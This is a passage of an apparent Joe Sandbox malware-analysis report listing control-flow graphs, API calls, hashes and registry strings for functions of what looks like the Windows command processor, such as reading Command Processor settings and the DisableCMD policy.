                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AttributeProcThread$List$CloseCreateDeleteErrorHandleLastProcessmemsetwcsrchr$InfoInitializeStartupUpdateUser_local_unwind_wcsnicmplstrcmp
                                                    • String ID: %01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$\XCOPY.EXE$h
                                                    • API String ID: 388421343-2905461000
                                                    • Opcode ID: a39f4a529f52f64395c69d74f8e47fafd60531de1d64f261e5ad8184ef12a4c8
                                                    • Instruction ID: bce2100f96335bf0f560f0605e39d2bcb3a528e0fef16dde15fdd95015c8e968
                                                    • Opcode Fuzzy Hash: a39f4a529f52f64395c69d74f8e47fafd60531de1d64f261e5ad8184ef12a4c8
                                                    • Instruction Fuzzy Hash: 46F14E36A28B82C5EA609B99E4407BAB7A4FF89780F404136DB4D87775DF3CE854CB50
                                                    Function 00007FF6BF3E5554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295registryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 579 7ff6bf3e5554-7ff6bf3e55b9 call 7ff6bf3ea640 582 7ff6bf3e55bc-7ff6bf3e55e8 RegOpenKeyExW 579->582 583 7ff6bf3e55ee-7ff6bf3e5631 RegQueryValueExW 582->583 584 7ff6bf3e5887-7ff6bf3e588e 582->584 585 7ff6bf3ef248-7ff6bf3ef24d 583->585 586 7ff6bf3e5637-7ff6bf3e5675 RegQueryValueExW 583->586 584->582 587 7ff6bf3e5894-7ff6bf3e58db time srand call 7ff6bf3e8f80 584->587 591 7ff6bf3ef260-7ff6bf3ef265 585->591 592 7ff6bf3ef24f-7ff6bf3ef25b 585->592 588 7ff6bf3e568e-7ff6bf3e56cc RegQueryValueExW 586->588 589 7ff6bf3e5677-7ff6bf3e567c 586->589 595 7ff6bf3e56d2-7ff6bf3e5710 RegQueryValueExW 588->595 596 7ff6bf3ef2b6-7ff6bf3ef2bb 588->596 593 7ff6bf3e5682-7ff6bf3e5687 589->593 594 7ff6bf3ef28b-7ff6bf3ef290 589->594 591->586 598 7ff6bf3ef26b-7ff6bf3ef286 _wtol 591->598 592->586 593->588 594->588 603 7ff6bf3ef296-7ff6bf3ef2b1 _wtol 594->603 601 7ff6bf3e5712-7ff6bf3e5717 595->601 602 7ff6bf3e5729-7ff6bf3e5767 RegQueryValueExW 595->602 599 7ff6bf3ef2ce-7ff6bf3ef2d3 596->599 600 7ff6bf3ef2bd-7ff6bf3ef2c9 596->600 598->586 599->595 604 7ff6bf3ef2d9-7ff6bf3ef2f4 _wtol 599->604 600->595 605 7ff6bf3e571d-7ff6bf3e5722 601->605 606 7ff6bf3ef2f9-7ff6bf3ef2fe 601->606 607 7ff6bf3e579f-7ff6bf3e57dd RegQueryValueExW 602->607 608 7ff6bf3e5769-7ff6bf3e576e 602->608 603->588 604->595 605->602 606->602 609 7ff6bf3ef304-7ff6bf3ef31a wcstol 606->609 612 7ff6bf3e57e3-7ff6bf3e57e8 607->612 613 7ff6bf3ef3a9 607->613 610 7ff6bf3e5774-7ff6bf3e578f 608->610 611 7ff6bf3ef320-7ff6bf3ef325 608->611 609->611 616 7ff6bf3e5795-7ff6bf3e5799 610->616 617 7ff6bf3ef357-7ff6bf3ef35e 610->617 614 7ff6bf3ef34b 611->614 615 7ff6bf3ef327-7ff6bf3ef33f wcstol 611->615 618 7ff6bf3ef363-7ff6bf3ef368 612->618 619 7ff6bf3e57ee-7ff6bf3e5809 612->619 620 7ff6bf3ef3b5-7ff6bf3ef3b8 613->620 614->617 615->614 616->607 616->617 617->607 621 7ff6bf3ef38e 618->621 622 7ff6bf3ef36a-7ff6bf3ef382 wcstol 618->622 623 7ff6bf3e580f-7ff6bf3e5813 619->623 624 7ff6bf3ef39a-7ff6bf3ef39d 619->624 626 7ff6bf3ef3be-7ff6bf3ef3c5 620->626 627 7ff6bf3e582c 620->627 621->624 622->621 623->624 625 7ff6bf3e5819-7ff6bf3e5823 623->625 624->613 625->620 628 7ff6bf3e5829 625->628 629 7ff6bf3e5832-7ff6bf3e5870 RegQueryValueExW 626->629 627->629 630 7ff6bf3ef3ca-7ff6bf3ef3d1 627->630 628->627 631 7ff6bf3ef3dd-7ff6bf3ef3e2 629->631 632 7ff6bf3e5876-7ff6bf3e5882 RegCloseKey 629->632 630->631 633 7ff6bf3ef3e4-7ff6bf3ef412 ExpandEnvironmentStringsW 631->633 634 7ff6bf3ef433-7ff6bf3ef439 631->634 632->584 636 7ff6bf3ef414-7ff6bf3ef426 call 7ff6bf3e13e0 633->636 637 7ff6bf3ef428 633->637 634->632 635 7ff6bf3ef43f-7ff6bf3ef44c call 7ff6bf3db900 634->635 635->632 640 7ff6bf3ef42e 636->640 637->640 640->634
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: QueryValue$CloseOpensrandtime
                                                    • String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
                                                    • API String ID: 145004033-3846321370
                                                    • Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                    • Instruction ID: 2f05fe62c33970aa92c2ef117e72f1917478addf2e01b39655380ae7aba3ef5c
                                                    • Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
                                                    • Instruction Fuzzy Hash: DFE1A53652DA82C6E7508FA8E44057AB7A0FF98740F406135EB8EC6A78DFBCD954CB50
                                                    Function 00007FF6BF3E37D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269registrythreadmemoryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 821 7ff6bf3e37d8-7ff6bf3e3887 GetCurrentThreadId OpenThread call 7ff6bf3e04f4 HeapSetInformation RegOpenKeyExW 824 7ff6bf3e388d-7ff6bf3e38eb call 7ff6bf3e5920 GetConsoleOutputCP GetCPInfo 821->824 825 7ff6bf3ee9f8-7ff6bf3eea3b RegQueryValueExW RegCloseKey 821->825 828 7ff6bf3eea41-7ff6bf3eea59 GetThreadLocale 824->828 829 7ff6bf3e38f1-7ff6bf3e3913 memset 824->829 825->828 830 7ff6bf3eea74-7ff6bf3eea77 828->830 831 7ff6bf3eea5b-7ff6bf3eea67 828->831 832 7ff6bf3eeaa5 829->832 833 7ff6bf3e3919-7ff6bf3e3935 call 7ff6bf3e4d5c 829->833 834 7ff6bf3eea94-7ff6bf3eea96 830->834 835 7ff6bf3eea79-7ff6bf3eea7d 830->835 831->830 838 7ff6bf3eeaa8-7ff6bf3eeab4 832->838 842 7ff6bf3eeae2-7ff6bf3eeaff call 7ff6bf3d3240 call 7ff6bf3f8530 call 7ff6bf3e4c1c 833->842 843 7ff6bf3e393b-7ff6bf3e3942 833->843 834->832 835->834 837 7ff6bf3eea7f-7ff6bf3eea89 835->837 837->834 838->833 840 7ff6bf3eeaba-7ff6bf3eeac3 838->840 841 7ff6bf3eeacb-7ff6bf3eeace 840->841 844 7ff6bf3eeac5-7ff6bf3eeac9 841->844 845 7ff6bf3eead0-7ff6bf3eeadb 841->845 853 7ff6bf3eeb00-7ff6bf3eeb0d 842->853 847 7ff6bf3eeb27-7ff6bf3eeb40 _setjmp 843->847 848 7ff6bf3e3948-7ff6bf3e3962 _setjmp 843->848 844->841 845->838 851 7ff6bf3eeadd 845->851 849 7ff6bf3e39fe-7ff6bf3e3a05 call 7ff6bf3e4c1c 847->849 850 7ff6bf3eeb46-7ff6bf3eeb49 847->850 848->853 854 7ff6bf3e3968-7ff6bf3e396d 848->854 849->825 856 7ff6bf3eeb4b-7ff6bf3eeb65 call 7ff6bf3d3240 call 7ff6bf3f8530 call 7ff6bf3e4c1c 850->856 857 7ff6bf3eeb66-7ff6bf3eeb6f call 7ff6bf3e01b8 850->857 851->833 867 7ff6bf3eeb15-7ff6bf3eeb1f call 7ff6bf3e4c1c 853->867 859 7ff6bf3e396f 854->859 860 7ff6bf3e39b9-7ff6bf3e39bb 854->860 856->857 880 7ff6bf3eeb71-7ff6bf3eeb82 _setmode 857->880 881 7ff6bf3eeb87-7ff6bf3eeb89 call 7ff6bf3e86f0 857->881 868 7ff6bf3e3972-7ff6bf3e397d 859->868 863 7ff6bf3eeb20 860->863 864 7ff6bf3e39c1-7ff6bf3e39c3 call 7ff6bf3e4c1c 860->864 863->847 877 7ff6bf3e39c8 864->877 867->863 874 7ff6bf3e397f-7ff6bf3e3984 868->874 875 7ff6bf3e39c9-7ff6bf3e39de call 7ff6bf3ddf60 868->875 874->868 883 7ff6bf3e3986-7ff6bf3e39ae call 7ff6bf3e0580 GetConsoleOutputCP GetCPInfo call 7ff6bf3e04f4 874->883 875->867 891 7ff6bf3e39e4-7ff6bf3e39e8 875->891 877->875 880->881 888 7ff6bf3eeb8e-7ff6bf3eebad call 7ff6bf3e58e4 call 7ff6bf3ddf60 881->888 897 7ff6bf3e39b3 883->897 902 7ff6bf3eebaf-7ff6bf3eebb3 888->902 891->849 895 7ff6bf3e39ea-7ff6bf3e39ef call 7ff6bf3dbe00 891->895 900 7ff6bf3e39f4-7ff6bf3e39fc 895->900 897->860 900->874 902->849 903 7ff6bf3eebb9-7ff6bf3eec24 call 7ff6bf3e58e4 GetConsoleOutputCP GetCPInfo call 7ff6bf3e04f4 call 7ff6bf3dbe00 call 7ff6bf3e0580 GetConsoleOutputCP GetCPInfo call 7ff6bf3e04f4 902->903 903->888
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
                                                    • String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
                                                    • API String ID: 2624720099-1920437939
                                                    • Opcode ID: 9a4cddc928fe4c71fd6c761995599b2788caccd561f5d3a8cbf937f1688b90ea
                                                    • Instruction ID: dfd23d19b84d5fca9ab583678d79ecbbdb2b7bfb42872d31645199d260b44097
                                                    • Opcode Fuzzy Hash: 9a4cddc928fe4c71fd6c761995599b2788caccd561f5d3a8cbf937f1688b90ea
                                                    • Instruction Fuzzy Hash: 76C1AC31E186428AF7149BFCA4402B97BA0EF49704F149139DB1EDBBB2DE7CA8548790
                                                    Function 00007FF6BF3E823C Relevance: 15.1, APIs: 10, Instructions: 116COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1118 7ff6bf3e823c-7ff6bf3e829b FindFirstFileExW 1119 7ff6bf3e82cd-7ff6bf3e82df 1118->1119 1120 7ff6bf3e829d-7ff6bf3e82a9 GetLastError 1118->1120 1124 7ff6bf3e8365-7ff6bf3e837b FindNextFileW 1119->1124 1125 7ff6bf3e82e5-7ff6bf3e82ee 1119->1125 1121 7ff6bf3e82af 1120->1121 1122 7ff6bf3e82b1-7ff6bf3e82cb 1121->1122 1126 7ff6bf3e83d0-7ff6bf3e83e5 FindClose 1124->1126 1127 7ff6bf3e837d-7ff6bf3e8380 1124->1127 1128 7ff6bf3e82f1-7ff6bf3e82f4 1125->1128 1126->1128 1127->1119 1129 7ff6bf3e8386 1127->1129 1130 7ff6bf3e8329-7ff6bf3e832b 1128->1130 1131 7ff6bf3e82f6-7ff6bf3e8300 1128->1131 1129->1120 1130->1121 1134 7ff6bf3e832d 1130->1134 1132 7ff6bf3e8332-7ff6bf3e8353 GetProcessHeap HeapAlloc 1131->1132 1133 7ff6bf3e8302-7ff6bf3e830e 1131->1133 1137 7ff6bf3e8356-7ff6bf3e8363 1132->1137 1135 7ff6bf3e8310-7ff6bf3e8313 1133->1135 1136 7ff6bf3e838b-7ff6bf3e83c2 GetProcessHeap HeapReAlloc 1133->1136 1134->1120 1140 7ff6bf3e8315-7ff6bf3e8323 1135->1140 1141 7ff6bf3e8327 1135->1141 1138 7ff6bf3f50f8-7ff6bf3f511e GetLastError FindClose 1136->1138 1139 7ff6bf3e83c8-7ff6bf3e83ce 1136->1139 1137->1135 1138->1122 1139->1137 1140->1141 1141->1130
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileFindFirstLast
                                                    • String ID:
                                                    • API String ID: 873889042-0
                                                    • Opcode ID: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                    • Instruction ID: 883489bbc0a1565ab60bb6612d34b41fdcff062301b281eada77ce71356f8f2c
                                                    • Opcode Fuzzy Hash: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                    • Instruction Fuzzy Hash: B5516E36A09B42C6E7108F99E4441B97BA0FF9AB91F489531CB1E873B1CF3CE9658744
                                                    Function 00007FF6BF3E2978 Relevance: 9.1, APIs: 6, Instructions: 138COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1142 7ff6bf3e2978-7ff6bf3e29b6 1143 7ff6bf3e29b9-7ff6bf3e29c1 1142->1143 1143->1143 1144 7ff6bf3e29c3-7ff6bf3e29c5 1143->1144 1145 7ff6bf3ee441 1144->1145 1146 7ff6bf3e29cb-7ff6bf3e29cf 1144->1146 1147 7ff6bf3e29d2-7ff6bf3e29da 1146->1147 1148 7ff6bf3e2a1e-7ff6bf3e2a3e FindFirstFileW 1147->1148 1149 7ff6bf3e29dc-7ff6bf3e29e1 1147->1149 1151 7ff6bf3ee435-7ff6bf3ee439 1148->1151 1152 7ff6bf3e2a44-7ff6bf3e2a5c FindClose 1148->1152 1149->1148 1150 7ff6bf3e29e3-7ff6bf3e29eb 1149->1150 1150->1147 1153 7ff6bf3e29ed-7ff6bf3e2a1c call 7ff6bf3e8f80 1150->1153 1151->1145 1154 7ff6bf3e2ae3-7ff6bf3e2ae5 1152->1154 1155 7ff6bf3e2a62-7ff6bf3e2a6e 1152->1155 1156 7ff6bf3e2aeb-7ff6bf3e2b10 _wcsnicmp 1154->1156 1157 7ff6bf3ee3f7-7ff6bf3ee3ff 1154->1157 1159 7ff6bf3e2a70-7ff6bf3e2a78 1155->1159 1156->1155 1160 7ff6bf3e2b16-7ff6bf3ee3f1 _wcsicmp 1156->1160 1159->1159 1162 7ff6bf3e2a7a-7ff6bf3e2a8d 1159->1162 1160->1155 1160->1157 1162->1145 1164 7ff6bf3e2a93-7ff6bf3e2a97 1162->1164 1165 7ff6bf3ee404-7ff6bf3ee407 1164->1165 1166 7ff6bf3e2a9d-7ff6bf3e2ade memmove call 7ff6bf3e13e0 1164->1166 1168 7ff6bf3ee40b-7ff6bf3ee413 1165->1168 1166->1150 1168->1168 1170 7ff6bf3ee415-7ff6bf3ee42b memmove 1168->1170 1170->1151
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                    • Instruction ID: ff32b54fe1ea4c0991d9ec31bb3a2aa6060446525bc17ca439c1eee8efae9963
                                                    • Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                    • Instruction Fuzzy Hash: 23510A71F2868285EB308F99A5442BAA790FF54BA4F455230DF6D8BBE1DF3CE8458740
                                                    Function 00007FF6BF3E4D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268memorylibraryloaderCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 643 7ff6bf3e4d5c-7ff6bf3e4e4b InitializeCriticalSection call 7ff6bf3e58e4 SetConsoleCtrlHandler _get_osfhandle GetConsoleMode _get_osfhandle GetConsoleMode call 7ff6bf3e0580 call 7ff6bf3e4a14 call 7ff6bf3e4ad0 call 7ff6bf3e5554 GetCommandLineW 654 7ff6bf3e4e4d-7ff6bf3e4e54 643->654 654->654 655 7ff6bf3e4e56-7ff6bf3e4e61 654->655 656 7ff6bf3e51cf-7ff6bf3e51e3 call 7ff6bf3d3278 call 7ff6bf3e4c1c 655->656 657 7ff6bf3e4e67-7ff6bf3e4e7b call 7ff6bf3e2e44 655->657 662 7ff6bf3e4e81-7ff6bf3e4ec3 GetCommandLineW call 7ff6bf3e13e0 call 7ff6bf3dca40 657->662 663 7ff6bf3e51ba-7ff6bf3e51ce call 7ff6bf3d3278 call 7ff6bf3e4c1c 657->663 662->663 674 7ff6bf3e4ec9-7ff6bf3e4ee8 call 7ff6bf3e417c call 7ff6bf3e2394 662->674 663->656 678 7ff6bf3e4eed-7ff6bf3e4ef5 674->678 678->678 679 7ff6bf3e4ef7-7ff6bf3e4f1f call 7ff6bf3daa54 678->679 682 7ff6bf3e4f95-7ff6bf3e4fee GetConsoleOutputCP GetCPInfo call 7ff6bf3e51ec GetProcessHeap HeapAlloc 679->682 683 7ff6bf3e4f21-7ff6bf3e4f30 679->683 689 7ff6bf3e5012-7ff6bf3e5018 682->689 690 7ff6bf3e4ff0-7ff6bf3e5006 GetConsoleTitleW 682->690 683->682 685 7ff6bf3e4f32-7ff6bf3e4f39 683->685 685->682 686 7ff6bf3e4f3b-7ff6bf3e4f77 call 7ff6bf3d3278 GetWindowsDirectoryW 685->686 695 7ff6bf3e51b1-7ff6bf3e51b9 call 7ff6bf3e4c1c 686->695 696 7ff6bf3e4f7d-7ff6bf3e4f90 call 7ff6bf3e3c24 686->696 693 7ff6bf3e507a-7ff6bf3e507e 689->693 694 7ff6bf3e501a-7ff6bf3e5024 call 7ff6bf3e3578 689->694 690->689 692 7ff6bf3e5008-7ff6bf3e500f 690->692 692->689 697 7ff6bf3e5080-7ff6bf3e50b3 call 7ff6bf3fb89c call 7ff6bf3d586c call 7ff6bf3d3240 call 7ff6bf3e3448 693->697 698 7ff6bf3e50eb-7ff6bf3e5161 GetModuleHandleW GetProcAddress * 3 693->698 694->693 709 7ff6bf3e5026-7ff6bf3e5030 694->709 695->663 696->682 724 7ff6bf3e50d2-7ff6bf3e50d7 call 7ff6bf3d3278 697->724 725 7ff6bf3e50b5-7ff6bf3e50d0 call 7ff6bf3e3448 * 2 697->725 702 7ff6bf3e5163-7ff6bf3e5167 698->702 703 7ff6bf3e516f 698->703 702->703 707 7ff6bf3e5169-7ff6bf3e516d 702->707 708 7ff6bf3e5172-7ff6bf3e51af free call 7ff6bf3e8f80 703->708 707->703 707->708 713 7ff6bf3e5032-7ff6bf3e5059 GetStdHandle GetConsoleScreenBufferInfo 709->713 714 7ff6bf3e5075 call 7ff6bf3fcff0 709->714 715 7ff6bf3e505b-7ff6bf3e5067 713->715 716 7ff6bf3e5069-7ff6bf3e5073 713->716 714->693 715->693 716->693 716->714 729 7ff6bf3e50dc-7ff6bf3e50e6 GlobalFree 724->729 725->729 729->698
                                                    APIs
                                                    • InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4D9A
                                                      • Part of subcall function 00007FF6BF3E58E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF6BF3FC6DB), ref: 00007FF6BF3E58EF
                                                    • SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4DBB
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E4DCA
                                                    • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4DE0
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E4DEE
                                                    • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4E04
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E0589
                                                      • Part of subcall function 00007FF6BF3E0580: SetConsoleMode.KERNELBASE ref: 00007FF6BF3E059E
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E05AF
                                                      • Part of subcall function 00007FF6BF3E0580: GetConsoleMode.KERNELBASE ref: 00007FF6BF3E05C5
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E05EF
                                                      • Part of subcall function 00007FF6BF3E0580: GetConsoleMode.KERNELBASE ref: 00007FF6BF3E0605
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E0632
                                                      • Part of subcall function 00007FF6BF3E0580: SetConsoleMode.KERNELBASE ref: 00007FF6BF3E0647
                                                      • Part of subcall function 00007FF6BF3E4A14: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A28
                                                      • Part of subcall function 00007FF6BF3E4A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A66
                                                      • Part of subcall function 00007FF6BF3E4A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A7D
                                                      • Part of subcall function 00007FF6BF3E4A14: memmove.MSVCRT(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A9A
                                                      • Part of subcall function 00007FF6BF3E4A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4AA2
                                                      • Part of subcall function 00007FF6BF3E4AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D8798), ref: 00007FF6BF3E4AD6
                                                      • Part of subcall function 00007FF6BF3E4AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D8798), ref: 00007FF6BF3E4AEF
                                                      • Part of subcall function 00007FF6BF3E5554: RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF6BF3E4E35), ref: 00007FF6BF3E55DA
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E5623
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E5667
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E56BE
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E5702
                                                    • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4E35
                                                    • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4E81
                                                    • GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4F69
                                                    • GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4F95
                                                    • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FB0
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FC1
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FD8
                                                    • GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FF8
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E5037
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E504B
